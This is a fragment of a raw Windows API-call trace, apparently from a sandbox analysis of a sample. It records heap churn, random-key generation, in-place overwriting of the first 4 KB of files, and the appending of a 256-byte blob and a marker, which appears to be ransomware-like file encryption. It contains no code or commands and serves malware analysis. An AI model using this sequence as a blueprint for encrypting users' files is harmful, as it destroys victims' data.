RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.187] GetProcessHeap () returned 0x540000 [0085.187] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0085.187] GetProcessHeap () returned 0x540000 [0085.187] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.187] GetProcessHeap () returned 0x540000 [0085.187] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0085.187] GetProcessHeap () returned 0x540000 [0085.187] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.188] GetProcessHeap () returned 0x540000 [0085.188] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0085.189] GetProcessHeap () returned 0x540000 [0085.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0085.190] GetProcessHeap () returned 0x540000 [0085.190] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.190] GetProcessHeap () returned 0x540000 [0085.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0085.190] GetProcessHeap () returned 0x540000 [0085.190] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.190] GetProcessHeap () returned 0x540000 [0085.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.190] GetProcessHeap () returned 0x540000 [0085.190] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.190] GetProcessHeap () returned 0x540000 [0085.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.190] GetProcessHeap () returned 0x540000 [0085.190] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.190] GetProcessHeap () returned 0x540000 [0085.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.190] GetProcessHeap () returned 0x540000 [0085.190] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.190] GetProcessHeap () returned 0x540000 [0085.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.190] GetProcessHeap () returned 0x540000 [0085.190] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.190] GetProcessHeap () returned 0x540000 [0085.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.190] GetProcessHeap () returned 0x540000 [0085.190] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.190] GetProcessHeap () returned 0x540000 [0085.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.190] GetProcessHeap () returned 0x540000 [0085.190] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.191] GetProcessHeap () returned 0x540000 [0085.191] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.191] GetProcessHeap () returned 0x540000 [0085.191] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.191] GetProcessHeap () returned 0x540000 [0085.191] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.191] GetProcessHeap () returned 0x540000 [0085.191] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.191] GetProcessHeap () returned 0x540000 [0085.191] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.191] GetProcessHeap () returned 0x540000 [0085.191] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.191] GetProcessHeap () returned 0x540000 [0085.191] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.191] GetProcessHeap () returned 0x540000 [0085.191] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.191] GetProcessHeap () returned 0x540000 [0085.191] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.191] GetProcessHeap () returned 0x540000 [0085.191] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.191] GetProcessHeap () returned 0x540000 [0085.191] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.191] GetProcessHeap () returned 0x540000 [0085.191] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0085.191] GetProcessHeap () returned 0x540000 [0085.191] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.191] GetProcessHeap () returned 0x540000 [0085.191] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0085.191] GetProcessHeap () returned 0x540000 [0085.191] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0085.191] GetProcessHeap () returned 0x540000 [0085.192] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.192] GetProcessHeap () returned 0x540000 [0085.192] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0085.192] SetFilePointerEx (in: hFile=0x8b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.192] WriteFile (in: hFile=0x8b4, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0085.192] WriteFile (in: hFile=0x8b4, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0085.192] GetProcessHeap () returned 0x540000 [0085.192] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0085.192] GetProcessHeap () returned 0x540000 [0085.192] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0085.192] GetProcessHeap () returned 0x540000 [0085.192] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0085.192] CloseHandle (hObject=0x8b4) returned 1 [0085.194] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 79 [0085.194] SetFilePointerEx (in: hFile=0x8b8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.194] ReadFile (in: hFile=0x8b8, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0085.194] SetFilePointerEx (in: hFile=0x8b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.194] GetProcessHeap () returned 0x540000 [0085.194] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0085.194] GetProcessHeap () returned 0x540000 [0085.195] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0085.195] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0085.195] GetProcessHeap () returned 0x540000 [0085.195] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0085.195] ReadFile (in: hFile=0x8b8, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0085.243] SetFilePointerEx (in: hFile=0x8b8, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.243] WriteFile (in: hFile=0x8b8, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0085.243] GetProcessHeap () returned 0x540000 [0085.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0085.243] GetProcessHeap () returned 0x540000 [0085.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.243] GetProcessHeap () returned 0x540000 [0085.243] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0085.243] GetProcessHeap () returned 0x540000 [0085.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.243] GetProcessHeap () returned 0x540000 [0085.243] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0085.243] GetProcessHeap () returned 0x540000 [0085.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.243] GetProcessHeap () returned 0x540000 [0085.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.243] GetProcessHeap () returned 0x540000 [0085.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.243] GetProcessHeap () returned 0x540000 [0085.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.244] GetProcessHeap () returned 0x540000 [0085.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.244] GetProcessHeap () returned 0x540000 [0085.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.244] GetProcessHeap () returned 0x540000 [0085.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.244] GetProcessHeap () returned 0x540000 [0085.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.244] GetProcessHeap () returned 0x540000 [0085.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.244] GetProcessHeap () returned 0x540000 [0085.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.244] GetProcessHeap () returned 0x540000 [0085.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.244] GetProcessHeap () returned 0x540000 [0085.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.244] GetProcessHeap () returned 0x540000 [0085.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.244] GetProcessHeap () returned 0x540000 [0085.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.244] GetProcessHeap () returned 0x540000 [0085.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.244] GetProcessHeap () returned 0x540000 [0085.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.244] GetProcessHeap () returned 0x540000 [0085.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.244] GetProcessHeap () returned 0x540000 [0085.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.244] GetProcessHeap () returned 0x540000 [0085.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.244] GetProcessHeap () returned 0x540000 [0085.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.244] GetProcessHeap () returned 0x540000 [0085.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.244] GetProcessHeap () returned 0x540000 [0085.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.244] GetProcessHeap () returned 0x540000 [0085.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.244] GetProcessHeap () returned 0x540000 [0085.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.245] GetProcessHeap () returned 0x540000 [0085.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.245] GetProcessHeap () returned 0x540000 [0085.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.245] GetProcessHeap () returned 0x540000 [0085.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.245] GetProcessHeap () returned 0x540000 [0085.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.245] GetProcessHeap () returned 0x540000 [0085.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.245] GetProcessHeap () returned 0x540000 [0085.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.245] GetProcessHeap () returned 0x540000 [0085.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.245] GetProcessHeap () returned 0x540000 [0085.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.245] GetProcessHeap () returned 0x540000 [0085.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.245] GetProcessHeap () returned 0x540000 [0085.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0085.245] GetProcessHeap () returned 0x540000 [0085.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.245] GetProcessHeap () returned 0x540000 [0085.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0085.245] GetProcessHeap () returned 0x540000 [0085.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0085.245] GetProcessHeap () returned 0x540000 [0085.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0085.245] GetProcessHeap () returned 0x540000 [0085.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0085.245] GetProcessHeap () returned 0x540000 [0085.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0085.245] GetProcessHeap () returned 0x540000 [0085.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0085.245] GetProcessHeap () returned 0x540000 [0085.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.246] GetProcessHeap () returned 0x540000 [0085.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0085.246] GetProcessHeap () returned 0x540000 [0085.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.246] GetProcessHeap () returned 0x540000 [0085.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.246] GetProcessHeap () returned 0x540000 [0085.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.246] GetProcessHeap () returned 0x540000 [0085.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.246] GetProcessHeap () returned 0x540000 [0085.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.246] GetProcessHeap () returned 0x540000 [0085.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.246] GetProcessHeap () returned 0x540000 [0085.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.246] GetProcessHeap () returned 0x540000 [0085.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.246] GetProcessHeap () returned 0x540000 [0085.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.246] GetProcessHeap () returned 0x540000 [0085.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.246] GetProcessHeap () returned 0x540000 [0085.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.246] GetProcessHeap () returned 0x540000 [0085.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.246] GetProcessHeap () returned 0x540000 [0085.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.247] GetProcessHeap () returned 0x540000 [0085.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.247] GetProcessHeap () returned 0x540000 [0085.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.247] GetProcessHeap () returned 0x540000 [0085.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.247] GetProcessHeap () returned 0x540000 [0085.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.247] GetProcessHeap () returned 0x540000 [0085.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.247] GetProcessHeap () returned 0x540000 [0085.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.247] GetProcessHeap () returned 0x540000 [0085.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.247] GetProcessHeap () returned 0x540000 [0085.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.247] GetProcessHeap () returned 0x540000 [0085.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.247] GetProcessHeap () returned 0x540000 [0085.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.247] GetProcessHeap () returned 0x540000 [0085.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.247] GetProcessHeap () returned 0x540000 [0085.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0085.247] GetProcessHeap () returned 0x540000 [0085.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.247] GetProcessHeap () returned 0x540000 [0085.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0085.247] GetProcessHeap () returned 0x540000 [0085.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0085.247] GetProcessHeap () returned 0x540000 [0085.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.248] GetProcessHeap () returned 0x540000 [0085.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0085.248] SetFilePointerEx (in: hFile=0x8b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.248] WriteFile (in: hFile=0x8b8, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0085.248] WriteFile (in: hFile=0x8b8, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0085.248] GetProcessHeap () returned 0x540000 [0085.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0085.248] GetProcessHeap () returned 0x540000 [0085.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 